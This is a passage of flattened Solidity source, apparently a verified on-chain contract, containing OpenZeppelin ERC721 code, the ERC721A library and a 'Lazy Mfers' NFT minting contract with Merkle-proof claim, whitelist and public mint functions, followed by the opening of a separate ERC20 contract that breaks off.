_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: erc721a/contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex - _startTokenId() times
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
// Counter underflow is impossible as _currentIndex does not decrement,
// and it is initialized to _startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberMinted);
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_addressData[owner].numberBurned);
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
return _addressData[owner].aux;
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
_addressData[owner].aux = aux;
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex &&
!_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1
// updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + quantity;
if (safe && to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = to;
currSlot.startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev This is equivalent to _burn(tokenId, false)
*/
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenOwnership memory prevOwnership = _ownershipOf(tokenId);
address from = prevOwnership.addr;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
unchecked {
AddressData storage addressData = _addressData[from];
addressData.balance -= 1;
addressData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenOwnership storage currSlot = _ownerships[tokenId];
currSlot.addr = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
TokenOwnership storage nextSlot = _ownerships[nextTokenId];
if (nextSlot.addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.addr = from;
nextSlot.startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: github/chiru-labs/ERC721A/contracts/mfer_ERC721A.sol
pragma solidity ^0.8.7;
contract LazyMfers is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string private _baseTokenURI;
string private _defaultTokenURI;
bytes32 public freeMintRoot;
bytes32 public whiteListRoot;
uint256 public constant WHITELIST_MINT_PRICE = 0.01 ether;
uint256 public constant PUBLIC_MINT_PRICE = 0.02 ether;
uint256 public constant MAX_SUPPLY = 6900;
// uint256 public PRESALE_DURATION = 4 hours;
uint256 public PRESALE_DURATION = 0;
uint256 public PRESALE_STARTING_AT;
uint256 public PUBLIC_STARTING_AT;
uint256 public WHITELIST_MINT_MAX_QUANTITY = 10;
mapping(address => bool) public hasClaimed;
mapping(address => uint256) public whitelistMinted;
event Claim(address indexed to, uint256 quantity);
constructor() ERC721A("Lazy Mfers", "L-MFERS") {
PRESALE_STARTING_AT = 1651233600;
PUBLIC_STARTING_AT = 1651233600 + PRESALE_DURATION;
}
function setFreeMintRoot(bytes32 merkleroot) external onlyOwner {
freeMintRoot = merkleroot;
}
function setWhiteListRoot(bytes32 merkleroot) external onlyOwner {
whiteListRoot = merkleroot;
}
function claim(address to, uint256 quantity, bytes32[] calldata proof) external nonReentrant{
require(PRESALE_STARTING_AT <= block.timestamp, "Presale not ready");
require(hasClaimed[to] == false, "Already claimed");
require(totalSupply() + quantity <= MAX_SUPPLY, "Exceed alloc");
bytes32 leaf = keccak256(abi.encodePacked(to, quantity));
bool isValidLeaf = MerkleProof.verify(proof, freeMintRoot, leaf);
require(isValidLeaf == true, "Not in merkle");
hasClaimed[to] = true;
_safeMint(to, quantity);
emit Claim(to, quantity);
}
function whiteListMint( uint256 quantity, bytes32[] calldata proof) external payable nonReentrant{
require(PRESALE_STARTING_AT <= block.timestamp, "Presale not ready");
require(whitelistMinted[msg.sender] + quantity <= WHITELIST_MINT_MAX_QUANTITY, "Exceed whitelist max mint");
require(WHITELIST_MINT_PRICE * quantity == msg.value, "Ether not match");
require(totalSupply() + quantity <= MAX_SUPPLY, "Exceed alloc");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
bool isValidLeaf = MerkleProof.verify(proof, whiteListRoot, leaf);
require(isValidLeaf == true, "Not in merkle");
whitelistMinted[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function publicMint( uint256 quantity) external payable nonReentrant{
require(msg.value == PUBLIC_MINT_PRICE * quantity, "Ether not match");
require(block.timestamp >= PUBLIC_STARTING_AT, "Public sale haven't start");
require(totalSupply() + quantity <= MAX_SUPPLY, "Exceed alloc");
_safeMint(msg.sender, quantity);
}
function setPresaleMint(uint256 presaleTime) external onlyOwner{
PRESALE_STARTING_AT = presaleTime;
PUBLIC_STARTING_AT = presaleTime + PRESALE_DURATION;
}
function setBaseURI(string calldata URI) external onlyOwner {
_baseTokenURI = URI;
}
function setDefaultTokenURI(string calldata URI) external onlyOwner {
_defaultTokenURI = URI;
}
function baseURI() public view returns (string memory) {
return _baseTokenURI;
}
function tokenURI(uint256 tokenId) public override view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _baseURI = baseURI();
return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenId.toString())) : _defaultTokenURI;
}
function withdraw() external onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transfer failed.");
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-10
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
